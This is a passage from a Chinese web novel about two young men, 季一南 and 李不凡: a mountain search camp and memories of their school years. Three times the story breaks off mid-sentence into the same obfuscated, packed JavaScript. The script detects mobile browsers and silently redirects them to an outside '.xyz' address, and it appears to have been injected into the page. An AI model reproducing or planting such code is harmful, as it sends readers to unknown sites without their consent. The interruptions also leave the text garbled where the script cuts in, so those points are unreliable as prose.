他默默地想。 季一南拿着两桶泡好的面,在火堆边等李不凡。 “给你泡了一碗,天冷容易凉。”季一南把泡面递给李不凡,是他喜欢的番茄味。 李不凡把叉在碗边的叉子取下来,随口说了句:“你怎么每次都能拿到我最爱吃的。” 停顿片刻,季一南说:“运气好。” 白雾从纸碗里涌出来,他们坐在火堆边吃面。 “等会儿我去给你找个帐篷,你睡觉吧。”季一南说。 “那你呢?”李不凡问。 他从面碗里抬起头,眼里也像有一层雾。 “我休息一会儿,就继续跟着他们上山。” “刚才你去问队长,问出什么了吗?” “小塔研究的东西很多,有塔黄,还有白腹锦鸡……我们大概分析出了一个他可能会在的区域,已经有队伍去找了,你的想法很有意义。” “那就好……” 聊完小塔的事情,两个人没再说话。 安静地吃完面,季一南带李不凡去简单洗漱。 营地旁边有一个休息区,季一南从车里拿了新的牙刷,又去找了两个纸杯。 水很凉,凉得像刚融化的冰,季一南打开水龙头,手指碰了一下,就关上了。 “你等我一下。”他说。 不到五分钟,季一南拿着一只纸杯进来。 等他走近,李不凡才看见纸杯口冒着热气。 他只装了不到半杯热水,又往里面接了一点凉水,递给李不凡。 “你用这个。” 洗漱台的镜前灯很暗,季一南垂眼的时候,脸上有一小片阴影。 李不凡拿走那杯温热的水,没说什么,弯下腰刷牙。 季一南就站在他身边,他没给自己多倒一杯,只接了凉水。 简单洗漱完,李不凡用纸擦了擦满脸的水,看着季一南说:“我这个人不喜欢被人单方面付出。” 刚用冷水洗过脸,李不凡的脸颊有些泛红。 季一南和他对视,只嗯了一声。 “你怀疑你听懂了但是也不改,”李不凡皱了下眉,“不管是因为什么原因……总之不要这样。我可以照顾好自己,我也可以照顾好你。” 季一南没有马上说话,好像真的在想李不凡的意思,他注视着李不凡,忽然说:“我是喜欢你。” 为了找小塔,他们在野外步行了十几个小时,很少休息。 李不凡和季一南都有些累了,眼睛里有一些红血丝,神色也不清明。 但季一南还是表现得很认真,疲惫着坚持要说:“见你第一眼就喜欢你,我知道很奇怪,但这件事我又解释不了。因为喜欢你我才做这些。” 有一瞬间,李不凡不知道怎么回应。 他们才认识几天,见过几面,季一南怎么敢这么认真地说喜欢? 他很轻地笑了一声:“说句喜欢我就敢亲我了?” 李不凡感觉到了,那个吻不是意外,是季一南故意的。 毕竟他靠过来之前呼吸紧张,好像连心跳都停止了。 “你不讨厌,”季一南垂眼,“你讨厌的话,之后会打我。” 李不凡:“……?” 有两个人聊着天走进来,看见李不凡和季一南都没动,很奇怪地瞥了几眼。 李不凡拉起季一南,带他往外走。 他说不出自己是什么心情,就是有些无奈。 走到营地的角落,李不凡才停下来,要松开季一南手的时候,被他反过来握住。 “你主动的。” 仿佛为了证明自己刚才的观点,季一南举了下他们牵在一起的手。 “我被动的。”李不凡挣了下,季一南就放开了。 他不明显地抬了抬唇角,李不凡看见了。 “所以我可以追你吗?”季一南问。 李不凡:“……” 季一南走近了一步,几乎贴住李不凡,低头问他:“还想亲吗?” 雪下得很大,落在季一南的头发和肩膀,李不凡想起季一南把自己压在石头上时,雪也是这样落下来。 “我们才认识……不到四天。”李不凡梗着脖子说。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210407|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怎么样?”季一南仍然看着他。 李不凡躲不开季一南的眼神,后知后觉地脸热。 “我要去睡觉了。” 他转过身,朝营地走了几步,才意识到自己走错了方向。 身后紧跟着窸窸窣窣的脚步声,季一南一直在他后面。 “你知道帐篷在哪里吗?”季一南问。 “不知道,”李不凡停下来,看了季一南一眼,“你带路。” “好的。”季一南走上前,很自然地牵过李不凡的手,带他往前走。 “带路要牵手的吗?”李不凡疑惑地问。 他几乎怀疑自己不是失忆,而是重生去了另外一个时空。在这里,认识几天的人是可以随便牵手的。 季一南稍微侧过脸,告诉李不凡:“我是的。” 走了很短一段路,他们就到了帐篷外。 那帐篷很小,李不凡弯腰钻进去,看见地上是一只双人睡袋。 “没有单人的了,”季一南知道李不凡在想什么,“不是我故意的。” 他这时又很规矩地站在一边,说:“你先睡吧,我过几个小时就跟他们一起上山了,我去火堆旁边坐一会儿。” 李不凡又沉下脸,他没讲话,但真的开始脱外套,往睡袋里躺。 看他准备休息了,季一南要走。 帐篷还没打开,李不凡叫住他:“走了就不要回来了。” 季一南才停下来。 “我很困了,”李不凡躺进睡袋里,翻了个身,没有看季一南,“你快点过来把灯关掉。” 季一南脱衣服时声音很轻,帐篷外时不时有人走动,李不凡甚至能听到他们商量救援计划的讨论声。 睡袋被人掀开一角,很快,季一南就用体温填满了灌进来的冷风。 灯光被他拧灭,帐篷里彻底暗下来。 季一南朝着李不凡的这一侧,呼吸扑打在他的后背。 双人睡袋很窄,他们又都很高,几乎是挤在一起。 李不凡的手肘贴着季一南的腰,隔着毛衣,他也能感受到季一南清晰的腹肌轮廓。 今天走了这么远的路,季一南也没有表现出任何不适,他的体能应该是很达标的。 真正躺在一起的时候,季一南又非常守规矩,连手臂也没有逾越一寸,像一个并不柔软的抱枕,贴在李不凡的身后。 虽然很累,但李不凡没有立刻睡着。 他脑子很乱,关于今天发生的所有一切。 身后,季一南的呼吸也没有那么均匀,李不凡知道他没有睡着,于是翻过身,和他面对面。 “你是第一次谈恋爱吗?”李不凡问。 没料到他会问得这么突然,季一南睁开眼,顿了下,才说:“这辈子是。” 李不凡笑了下,“说得好像你知道自己上辈子和下辈子是怎么过的一样。” “我未必不知道。” “我以为你们研究科学的人不会相信这些。” “……以前不信,后来信了。” 李不凡没有再在这个问题上纠结。 “我第一次见你,就觉得你很熟悉,好像我们以前见过。”他轻声说。 季一南沉默了很久,久到李不凡以为他累得睡着了。 可能这个问题讨论起来没有意义,李不凡重新闭上眼,才听见季一南说:“你以前见过什么人,你不记得了吗?” “嗯……”李不凡的声音变散了,他开始觉得很困,“有些时候,人也是会忘记过去的。” 又过了一会儿,李不凡呼吸更轻了,可是外面好像下起雨来,啪嗒啪嗒的水珠打在帐篷上,他呢喃道:“下雨了……” 季一南还是没有闭眼,黑暗中,他甚至看不清李不凡的轮廓,却能想象到他是怎样躺在自己身边。 李不凡忘记了很多人,很多事。 才会在此时此刻和季一南离得这样远。 因为他不记得季一南,也不明白他的爱。 9.第九章 对季一南来说,他的人生有两道很明显的分界线。 一道是李不凡的出现,一道是李不凡的离开。 季一南的童年,如果让他自己形容,他会觉得像一个很小、很窄的房间,是灰色的。 父亲在他刚出生没多久就因为车祸去世了,母亲宋宁是单亲妈妈,工作辛苦,经常满世界飞,留在家里的时间并不多。 在季一南生活还不能自理的年纪,宋宁的事业尚在发展,因此请了保姆照顾他。 最初的几个都因为发现季一南是个没人管、又很闷的小孩,而有所薄待。 买的菜是最便宜的,一顿剩了饭,下两顿还要继续吃,季一南过得很差。但他太懂事,知道妈妈也很难,所以只要不是特别过分的事,他很少会和宋宁说。 等他慢慢长大了一点,家里不再需要阿姨,宋宁事业也稳定下来,他们才搬进别墅区。 那时他家的旁边是一栋几乎一模一样的房子,空缺了很久。 在季一南即将去读初中的那个暑假,旁边搬来一家人。 几辆车停在楼下的时候,季一南正好坐在阳台上背英语单词。一个偏瘦的男生推开车门跳下来,把手里的篮球放在地上拍了几下,弄出的噪音惊动了他的父亲。 阳光有些刺眼,季一南放下课本,看见那个男生被父亲打了一巴掌,抱着球乖乖垂下头。 但等父亲转过身,男生就抬起脸,对着父亲做了个鬼脸,回过头的时候,才发现坐在楼上的季一南。 像是偷看一样被发现,季一南有些不知所措地顿住。 楼下的男生却把手抬得很高,掌心像开花一样,和季一南打招呼。 几天后,在初中的第一个班级,他站在门口的告示栏,注意到一个简单的名字:李不凡。 因为太特别,季一南的视线停留了片刻。一片不属于他的小小的阴影落在那个名字上,有人很近地和他说话:“你在看我的名字吗?那你呢,你叫什么?” 季一南回过头,还以为是自己的错觉,隔着阳光和满是尘埃的空气,他好像又回到那个下午,那个和他打招呼的瘦小的男生,穿着宽松校服站在他眼前,彻底结束了他的冬天。 “我叫季一南,季节的季,一二三四的一,南方的南。” “你的名字也很简单,但我觉得比我的好听……不凡不凡,哪里不凡了……”李不凡嘀咕着进了教室。 季一南没有朋友,始终像一道孤独的影子,那时因为认识李不凡,才第一次模糊地感觉自己好像没有那么孤单了。 但一开始,他其实觉得李不凡是一个有些奇怪的小孩。 这要从李不凡是怎么成为他的同桌的开始说起。 刚进班级时,老师按照首字母排序,把季一南分在一个很胖的男生的前桌。 对方仗着自己比同龄的孩子体型强壮,很爱欺负人。 在季一南喜欢的数学课上,他第一次用铅笔戳了季一南的后背,并在季一南回头时很不友好地嘲笑。 十岁出头的季一南很少对同学抱以纯粹的恶意,以为只是无聊的玩笑。 但在小胖第十次用尖锐的笔尖戳中季一南的后背时,他打算寻求老师的帮助。 “他是不是想找你借什么东西,或者和你说话呢?”老师温柔地问。 “同学之间要好好相处呀,或许你可以尝试和小胖说一说你的困惑,如果是误解了对方,要记得道歉哦。” 季一南很懵,觉得老师似乎弄错了重点,但他本就内向,不爱讲话,更不爱辩解,只对老师点点头,而后和正要去上课的老师一起朝教室走。 还在走廊,他们听见教室里传来的尖锐叫声,老师神色惊慌地冲进去,季一南走在后面,只看见重重人影后举着手的李不凡。 “老师,李不凡的手在流血!” “是小胖用铅笔扎的!” 同学们争相告状,老师出面处理,说要带李不凡去医务室,但李不凡很熟练地指向季一南,说要季一南陪他去。 老师觉得他们是朋友,于是同意了。他们还没离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215565|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开教室,他便大声地训斥起了小胖。 虽然季一南并不知道事情的全貌,但他觉得一切似乎没这么简单,尤其是李不凡一离开教室,就收回那种很可怜的表情,满不在乎地用一团纸巾裹住手背时。 “你痛吗?”季一南问他。 “痛啊,”李不凡说,“但是也不痛。” 很久以后季一南才明白什么叫痛又不痛,前者表达生理上的客观感受,后者表达主观上的感觉。 那时季一南只是非常难受,他不想看到李不凡流血受伤,不管痛或不痛。 他们沿着操场的边缘走去医务室,等到夕阳变得很红,李不凡才悄悄告诉季一南:“铅笔是我掰断的。” 季一南停下脚步,李不凡又继续说:“小胖戳你后背是对你不好,你不要觉得他很善良。” “我没有……” “好吧。老师不一定会管这些,以前我就经历过,我还不敢告诉我爸,我爸肯定会打我的。所以我要自己解决这种事,”李不凡表现出十分满意的样子,“我很小就开始学画画了,天天用铅笔,我很了解铅笔的。反正都是我故意的……总之有了这次教训,以后他肯定不敢随便惹你了。” 之后他宣布:“出于保护你的需要,我决定成为你的同桌。” “是为了我吗?”季一南几乎没有反应过来,只记得李不凡说要做他的同桌。 他望着李不凡,觉得他很远,又望向脚下两个交错的影子,才敢相信他很近。 在季一南的记忆里,李不凡很长时间都是一朵开得很有生命力的花,如同他们初识的时候,在他暗淡的世界里耀眼着。 思及此,季一南又睁开了眼,很轻地侧过身,去看躺在身边的李不凡。 他的脸瘦了一些,鼻梁更挺,眉弓漂亮,嘴唇和耳朵都薄薄的,已经和小时候完全不同。 但有一点类似,至少此时此刻的李不凡和那年的李不凡一样,都还是健康的。 因为在李不凡的人生中,生病的时间其实更长更久。 10.第十章 养成一个习惯仅仅需要二十一天,而如果没有意外,季一南恐怕能和李不凡做两千一百天同桌。但哪怕季一南的整个青春期几乎每天都和李不凡在一起,发现他的异常也并不是一件容易的事。 李不凡不擅长伪装,也不习惯说谎,唯一想要隐瞒的事情却能瞒得很好。 首次被季一南察觉到端倪,是在高二那年。 起初是李不凡总说自己要去补习英语,之后却神秘地消失二至三天,不论季一南怎么给他打电话、发消息,他都不接、不回,等回学校上课的时候,才会和季一南解释,说没有看到。 高中阶段的最后一次运动会前夜,他和李不凡临时留宿学校。 到了晚上十点左右,他们当时最好的两个朋友,徐祁年和喻修景,说喜欢的游戏今天开启新赛季,想去网吧玩。 李不凡对这个提议非常支持,并且劝说正在做英语听力的季一南。 校门口有保安,他们只能翻墙离开。但四个人一起出现容易被发现,李不凡和季一南就先走。 十几分钟以后,他们出现在学校食堂旁边的一堵矮墙上。 “你慢……”季一南话还没说完,李不凡已经从松松垮垮的砖墙上跳了下来。 他落地的姿势像早晨季一南在学校湖边碰见的那只蜻蜓,身体很低,却很平稳。 “没事,翻墙我很熟……” 话音未落,几块砖掉了下来,季一南抓着李不凡往旁边躲,那面墙竟然就这样七零八落地倒了。 李不凡和季一南面面相觑,几束远光灯从远处照过来,李不凡反应很快,拎起季一南半条手臂,朝围墙外的狭窄街道里钻。 昏黄的路灯下,他们的影子移动得飞快,李不凡的短袖T恤灌满了风,鼓鼓的。 “有人追上来吗?”李不凡大喊。 季一南回头瞥了一眼,说没有。 两个人边跑边笑,快喘不上气的时候才在街边停下来。 朝学校外走了三四条街,他们钻进一条巷子。 雨后坑坑洼洼的地面积了水,李不凡跨过那些水坑,推开一家网吧的门。 “老板,要个四人包间。”李不凡在前台付了钱,和季一南穿过满是烟味的大堂,钻进了最里的包房。 喻修景和徐祁年过来的时候,季一南正在听英语听力,他戴着耳机,一下一下地点鼠标做题。 “快猜猜我们出来的时候看见什么了?”徐祁年把刚买的饮料放在桌上,随手挑了一瓶拧开。 “什么?”李不凡问。 “学校的围墙垮了,食堂旁边那儿,好多保安在,我们趁乱溜出来的。” 李不凡:“……那面墙本来就不对劲了。” 看他表情,喻修景笑:“不会是你们干的吧?” “完了……检讨肯定是要写上了。”李不凡叹了口气。 喻修景视线正好扫过他屏幕,问:“你画的谁?” “看不出来么?”李不凡窝进椅子里,视线落在季一南身上。 季一南没听见他们说什么,只知道李不凡看着自己,还以为他有什么事。 “怎么了?”他摘了耳机,脚轻轻一挪,带着椅子滑到李不凡身后,扫了屏幕一眼,就笑了。 “我啊?” “嗯。”李不凡的尾音小小地扬了下。 他用寥寥几笔画了一个Q版的季一南。 “好看,”季一南的手越过李不凡的肩膀握住鼠标,“发给我,我要拿去当头像。” “大画家,怎么这么偏心。”徐祁年在椅子上坐下,问喻修景想玩什么游戏。 玩到凌晨,李不凡有点困了。他摘下耳机的时候,喻修景和徐祁年已经趴在一起睡着了,季一南靠着椅背,视线扫了他一眼。 李不凡朝他抬了抬下巴,轻手轻脚地站起身,走到门外去。 室外在下雨,但不算很大,两个人并肩站在很窄的屋檐下。打火机拨了两三下才点燃,李不凡放下拢着火光的手,嘴唇里那根很细的烟冒出灰色的雾。 “英语学得怎么样?”季一南侧过身问,“你去补习的时候连着几天消息都不回,什么补习班这么严格?” “我爸觉得我现在这样申不上什么好学校,非要塞我去的。”李不凡没看他,垂头盯着脚边一个小水坑。 李不凡年纪很小的时候就在学美术,一直到现在。因为成绩一般,李方知和万玫都打算在本科就把他送出国。 “突然消失好几天我会很担心的,哪怕我知道你可能没什么事,”季一南并不是想说李不凡,也不想让李不凡难受,但他觉得他应该把这类重要的事情表达到位,“以后要提前和我说。” “上课的时间不是非常固定,主要是看我爸。”李不凡说。 他的态度太回避,又总是提到李方知,季一南隐约感觉到这些可能只是借口:“你知道你什么都可以跟我说。” “好了好了,有事我会告诉你的。”李不凡抽了口烟,但觉得没滋没味。 “别给自己太大压力,留在国内也不是什么坏事。”季一南从口袋里摸出一颗薄荷糖,他撕开包装,偏过脸,从李不凡手指拿走那根烟,放进自己唇间,又把那颗糖抵在李不凡嘴角,轻声提醒他:“一天半根就好了。” “又管我……”李不凡咬碎了糖,“算了,反正等明年你就管不了了。” 明年李不凡出国上学,季一南留在国内,他们一年能见上一次都算多。 “出国就不理我了吗?像你去学英语那样。”季一南问。 李不凡知道他特别爱说一些听起来就很严重的话,用那种很平淡的语气。 “到时候跟你聊天都有时差,打电话讲的都是昨天的事。” 季一南:“但我可以和你说今天的事,让你每天都知道我在做什么。” 李不凡:“听上去像我很笨,不知道应该这样一样。” 明明是玩笑话,李不凡却心情一般,只说自己有点困了。 季一南把嘴里没抽完的烟扔进旁边的垃圾箱,拿出手机打车。 但因为今晚下雨,车不是很好叫。这边靠近江,两个人等了一会儿,听见一阵轮船的汽笛声。 李不凡可能是突然想到什么,拿过季一南的手机取消掉了打车。 “要不要去港口看看?”李不凡问,“坐一个来回的船,到这边的时候,回学校刚好。” 这边离港口很近,他们都没带伞,但好在是夏天。 淋着雨跑到售票处,带房间的游船还剩下很多位置。他们买了一间房,拿着票坐在廊下等了十几分钟,就上了船。 两个人都淋得很湿,身上的水像另一场雨淌下来。进了房间,季一南不熟练地摁开墙壁上的灯,却只开了最暗的一盏。 模糊的灯光下对视一眼,李不凡笑了,用指腹点掉季一南脸上的一颗水珠。 季一南几乎是不出声地问他:“干什么……” 很快他垂下眼,扣住李不凡很热又很湿的手,李不凡就不笑了,呼吸也变得很轻。 游船的房间格外狭窄,床的一侧靠着可以看江水的窗,另一侧是仅容一人通过的走廊。 季一南让李不凡先去洗澡,用座机叫服务员帮忙拿干净的衣服。 但等他打完电话李不凡也还没动,说不想先去,要等拿到可以换的衣服。 他靠着墙,动作却并不松弛,让季一南觉得不对。 “那我先去。”季一南什么也没表现出来,抽掉皮带以后卷了一段在手里走到李不凡身前。 李不凡懵了一瞬,季一南也没解释,低下眼,一只手抓住他的两个手腕,用皮带捆紧了。 “衣服湿了,先脱掉。”季一南的手去碰李不凡衣摆,但李不凡躲了一下,他就摸到他腰侧的皮肤,淋过雨,很凉。 季一南短暂出神,但并没有忘记自己的目的。他拉起李不凡的T恤,往上时,李不凡朝后靠在墙上,让季一南没办法脱掉。 “我自己可以……”李不凡垂着头不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215566|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他。 季一南没说话,过了片刻忽然靠过来抱住他。 湿的衣服和温热的皮肤贴在一起,有一种别样的黏腻。但李不凡似乎不讨厌,季一南靠上来,他就忘记了挣扎和逃避。 季一南的手很干净,不粗糙,沿着李不凡的腰腹往上时,李不凡就轻轻地颤抖。因为逃避光,他把额头贴在季一南的肩膀上,很热地喘气。 李不凡很瘦,薄薄一层肌肉下只剩骨架,季一南摸到他后背的脊柱,手却忽地一顿,沿着皮肤上明显的凸起,很轻地摁了摁。 他感觉到李不凡僵住了,皱着眉打开旁边更亮的灯,拉开和他的距离,这次非常坚决地脱掉李不凡的衣服。 李不凡的背上多了一道两三寸长的暗红色伤疤。 “什么时候弄的?叔叔打的?”季一南没再碰他的伤口,只是替他解开皮带,“现在能沾水吗?” “可以。”李不凡动了动手腕。既然已经被发现,就也没什么好藏的,于是他走进浴室,打开了淋浴器。 热水从高处落下,热气腾腾中他走近瓷砖,用额头抵住,缩成一只雏鸟的样子,很不想面对。 “上药没?”季一南挤了沐浴露,给他抹在背上。 “上了,已经好很多,不用再管了。”李不凡小声说。 季一南的手摸过他的后背,又越过他身体的两侧,在他胸膛上划着。 温热的掌心到了小腹,季一南最后揉了揉他的腰,就借着淋浴洗掉手上的泡沫,满身是水地出去了。 放在床头柜的手机响了一声,季一南拿过,看见是自己人在国外的留学中介发来的信息。 【小哥,我们这边评估过了,给你列了一个学校名单,你看看自己对哪些学校更感兴趣。】 季一南回复了好,但没有马上看。 他等了一会儿,服务生把干净的衣服送到了。季一南在房间里把湿掉的上衣脱掉,还换了干爽的家居裤,李不凡就从浴室出来了。 “我洗完了,你快点去,别感冒了。”李不凡擦着头发,把季一南推进浴室。 可能是想到李不凡背上的伤,季一南也洗得很快。 他出浴室的时候李不凡恰好吹完头发,就晃着吹风机,让季一南坐过来。 吹风机声音太大,两个人没怎么说话,李不凡的手指穿插在季一南的头发里,温温热热的很舒服。 季一南头发不长,没几下就吹得很干,李不凡关了吹风机,坐在床上,低垂着头把线一圈一圈缠起来。 他安静的时候模样很乖,季一南站在床边,忍不住揉了揉他发顶,拇指摸了下他耳朵,“你也不是什么都和我说。” “下次叔叔再跟你动手,先找我,”季一南皱着眉,“我跟你说过多少次了,你不能因为他是你爸爸你就这么让他打,这本来就是不对的。” 李不凡听完就笑了一声,“找你干什么,我们两个一起被揍,岂不是更不划算。” 他放好吹风机,在床上躺下来,望着天花板,神色有几分茫然,语气却随意:“算了……我爸都老了,他打人不疼。” “等出国就好了。”李不凡好像并不是在和季一南讲自己的想法,而是想从他口中听到一个肯定的答案。 “出国以后他们就不会管我,也许过几个月,我就什么都好了……” 李方知和万玫总在家里吵架,对李不凡也严格,从小他就很不喜欢待在他们身边。 季一南以为李不凡只是太需要离开那个家。 “我好困啊——”李不凡拖长了声音,闭上眼。季一南掀开被子在他身边躺下,刚睡好,李不凡就抬着腿往他身上一搭。 船在夜晚的江上轻轻晃着,催人深眠。 季一南拍着他手臂,等他呼吸变慢了一些,才伸长手臂关掉了房间的灯。 “季一南,”黑暗中,只有船身的光从窗户透过来,李不凡忽然说,“你之前跟我讲的那些都要做到,就算我出国了,我们也还是……最好的朋友。” 11.第十一章 “你说说你俩,大半夜不睡觉,跑到学校外面去干什么?”班主任气不打一处来,“翻墙都翻不明白,非要闹出动静让全校都知道是吧?” 办公室内,李不凡和季一南并肩站在一起。 其他老师都在自己座位上憋笑,甚至没朝这边看一眼。 “老师,那墙多少钱,我赔。”季一南说。 “现在赔钱是关键吗?周一你俩选一个人给我上去念检讨,”班主任扫了李不凡一眼,“还有你这个头发,我说多少次了,剪短一点。” 班主任随手一指,“你俩头发加起来长度不准超过一只手啊。” 李方知和万玫在出差,李不凡家里没人,晚上就去季一南家里。 宋宁加班,给季一南打了个电话,说早晨才会回家。 洗完澡,李不凡只穿了条运动长裤,拿了把推刀站在镜子前,在琢磨怎么给自己剃个头发。 “要弄短?”季一南穿着睡衣走进来,望着镜子里的李不凡,用手指拨了拨他的头发。 “对啊,老师都说好几次了,下周上台念检讨,我能不听话点吗?”李不凡说。 “但我觉得你现在这个头发好看,”季一南垂着眼,“而且也不是很长。” 连眼睛都没遮。 季一南把推刀从李不凡手里拿走了,他看了一眼推刀的方向,像下定某种决心。 相比李不凡,季一南的头发不算长,标准得可以做学生发型参考,但他今天打算放弃这种标准。 推刀嗡嗡地响起来,李不凡还没来得及阻止,季一南侧边的头发就落下来,很碎地成片堆在洗手台上。 “不是我要剪头发吗?”李不凡都懵了。 “老师说了,我们头发加起来不超过手掌就行,”因为要往上看头发,季一南抬着眉毛,又推掉了另外一侧,“那我短一点。” “你这数学真挺好的,下周去了老师要被你气死。”李不凡笑,侧过身去帮季一南解睡衣的扣子。季一南手上动作没停,也朝李不凡那边偏了一些。 扣子开了两粒,季一南的胸膛上还沾着几颗水珠,热热的,带着清新的沐浴露味道填满李不凡的鼻腔。 “我成绩好,老师舍不得骂我。”季一南语气平淡,并不包含任何得意。 只是他说话时,喉结和胸腔都在微微震动,李不凡离得很近,手也还搭在他身上,全都能感觉到。 “手。”李不凡提醒,季一南就暂时停下推刀,先把睡衣脱给李不凡。 这下动作方便了很多,他一只手压着头发,另一只手用推刀,因为并不熟练,所以好像全身都在用力,肩膀的小块肌肉微微鼓起,碎发落得满颈都是。 “要不我来帮你,给你推个帅的。”李不凡跃跃欲试。 虽然季一南有所怀疑,但他毕竟不擅长拒绝李不凡,还是把推刀递给他。 因为季一南比李不凡高,他只能先坐下,十分乖巧地低着脑袋。 电推刀仍旧嗡嗡响着,李不凡每推一下,都会叫季一南抬抬头。??头发一片一片地掉,这些季一南攒了好几个星期,上一次去理发店,还是某个周末放学后的傍晚,李不凡去“学英语”了,只剩他一个人骑自行车回家,路上碰到人少的理发店,便推着车停在旁边。 那时理发师问他要剪多短,他想到李不凡,把下意识要说的贴头皮收回,变成稍微剪一点就可以。 他闭眼,听到咔嚓咔嚓连续的声音,理发师用了很快的剪子,让人没办法后悔。他在心里默默背诵一篇课文,可背到一半,又在想李不凡。想他几乎称得上匆忙的英语补习,想他头一次没有那么详细地告诉自己他要去做什么,让季一南很不习惯这种模糊。 但他可能总是要习惯的,毕竟李不凡那么认真地学习英语是为了出国。李不凡一走,就像把季一南影子的一半也带走,飘得很远,到他看不见、碰不到的地方。 “应该好了。”李不凡关掉推刀,电流声停止了,浴室安静下来,季一南感觉眼前重新亮起来,他回过神时,下巴被李不凡用手掌托起,一抬眼,便看见那双熟悉的眼睛,在背光的位置微垂着看向自己。 “好看,帅的。”李不凡非常肯定,完全不像假话。 季一南变成了寸头,头顶剩一截青茬,比起从前那个普通自然的头发,这样显得更有进攻性,是一种和他以往风格不同的痞。 因为确实很帅,李不凡盯着他,忘记了要收回视线。 “怎么了?”季一南温和地笑。 “没什么……”李不凡回过神,推了下他肩膀,“你自己看看。” 季一南就站起来,望着镜子片刻,说好看,很喜欢。 “周一你去, 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想到最后,又变成一件有些好笑的事情。 季一南比躺下时还要清醒。 山区的天气预报很难精准,尤其他们还在香格里拉。 连绵的雨打在帐篷上,季一南在黑暗中睁开眼。 当初李不凡和他说,和别人不一样就是坏的,季一南其实没有听懂他真正想要说的话,那一刻的他也不可能听懂。 他只想告诉李不凡,你的确是不一样的那个人,但这种不一样是罕见的天赋,是独特的珍贵。 如果人生中还有一次机会,可以回到曾经某个瞬间,不论究竟降落在何时何地,季一南都会将这句话完整表达。 想到曾有过这样的惋惜,季一南屏住自己的呼吸,摸索着在李不凡的额头落下一个柔软的吻。 搜救队正是缺人的时候,他想干脆去多多帮忙。只是因为睡前李不凡说“有些时候人也是会忘记过去的”,季一南就又停留了片刻。 “连我也会忘记吗?” 对着熟睡的李不凡,他小声地问了不敢听到回答的问题,便缓慢起身,在黑暗中熟练地吃了应该吃的药,收拾好行囊,轻轻地离开了帐篷。 12.第十二章 李不凡是被吵醒的。 雨水打在帐篷上,很没有规律地发出沉闷声响。 双人睡袋里只剩下他一个,李不凡看了一眼手机,此刻已经是上午十点。 季一南在凌晨五点给他发过信息,说自己跟着救援队先离开了。 套好衣服,李不凡从背包里找出雨伞,撑着走出帐篷。 天色很暗,灰蒙蒙的一片压下来。 昨夜营地燃起篝火的柴堆被雨水淋湿,垒在一圈帐篷的正中。 李不凡走去卫生间洗漱完,回来喝水吃能量条,找准备出发的队伍时,正巧遇到收拾好的阿夏。 “我还准备去你的帐篷里看看来着,”阿夏搭了下李不凡的肩膀,“一哥凌晨走了,托我照顾你,你继续跟我一组吧,我们走另外一条路线。” “行。”李不凡点头。 穿好雨衣,清理好装备,他们重新向山里出发。 这次阿夏还带了猎犬,他们一组的人数比昨夜多了一些。 “还是没什么线索吗?”李不凡问。 “今天凌晨他们发现几个有滑落痕迹的地方,都去检查过了,但没什么发现,”阿夏手里没拿登山杖,“昨天夜里下雨,搜索条件很差,有个队员去检查山洞的时候还掉下去了,连夜送进医院。” “离小塔失踪,快七十二小时了吧……” “差不多,你有爬过雪山吗?”阿夏问。 “爬过。” “其实我是雪山向导,”阿夏点了根烟,“但森林和雪山不太一样,就算失踪七十二个小时,也还有生存的希望。小塔的妈妈今天早上和他的一些家人一起,去神山祈祷了。” “神山?”李不凡稍稍停顿。 “从这边开车过去大概四小时,央娜雪山。”阿夏说。 一上午没有什么收获,李不凡跟着阿夏回营地。 到营地的时候雨恰好停了,李不凡摘下雨衣的帽子,很远就看见季一南站在不远处的树下抽烟。 “原来你会抽烟。”李不凡走过去。 “嗯,他们抽的烟太重了,我没什么瘾,”季一南把烟盒递给李不凡,“你要吗?” 李不凡不知道自己会不会,抽烟也不是什么好事,他干脆说不要。 季一南的手就那样停在半空,好像很意外李不凡的回答。 但很快他就收走那盒烟,手里的还剩下一大半,却灭掉了。 “你下午什么时候走?”李不凡问。 季一南看了眼时间,说:“再过两个小时。” “听说昨天晚上救援队里有人出事了。”李不凡本来想和季一南聊一会儿,但他看起来也是强撑着精神,语调一变,他问:“你不去睡会儿吗?” “夜里灯光条件不好,他从山崖上摔下去了,好在那边树很茂密,没受什么大伤,”季一南说,“我没事,你去睡会儿吧,下午跟我一起吗?还是你回酒店。” 李不凡没搭话,就盯着他脸,说不出什么情绪,但总之算不上好。 他有点生气,季一南能看出来。 “下午跟我一起吧,”季一南把选项换成确定的,“早上我走得太早了,就没有叫你。” 李不凡看他一眼,转身走了。 ??“一哥。” “一哥你回来了。” 路过的人和季一南打招呼,季一南都只是点了下头,就追上去。 “去哪里?”季一南尝试着碰了下李不凡的手,被他躲开。 李不凡回了他们的帐篷,但没进去,就站在外面指了下,和季一南说:“去睡觉。” 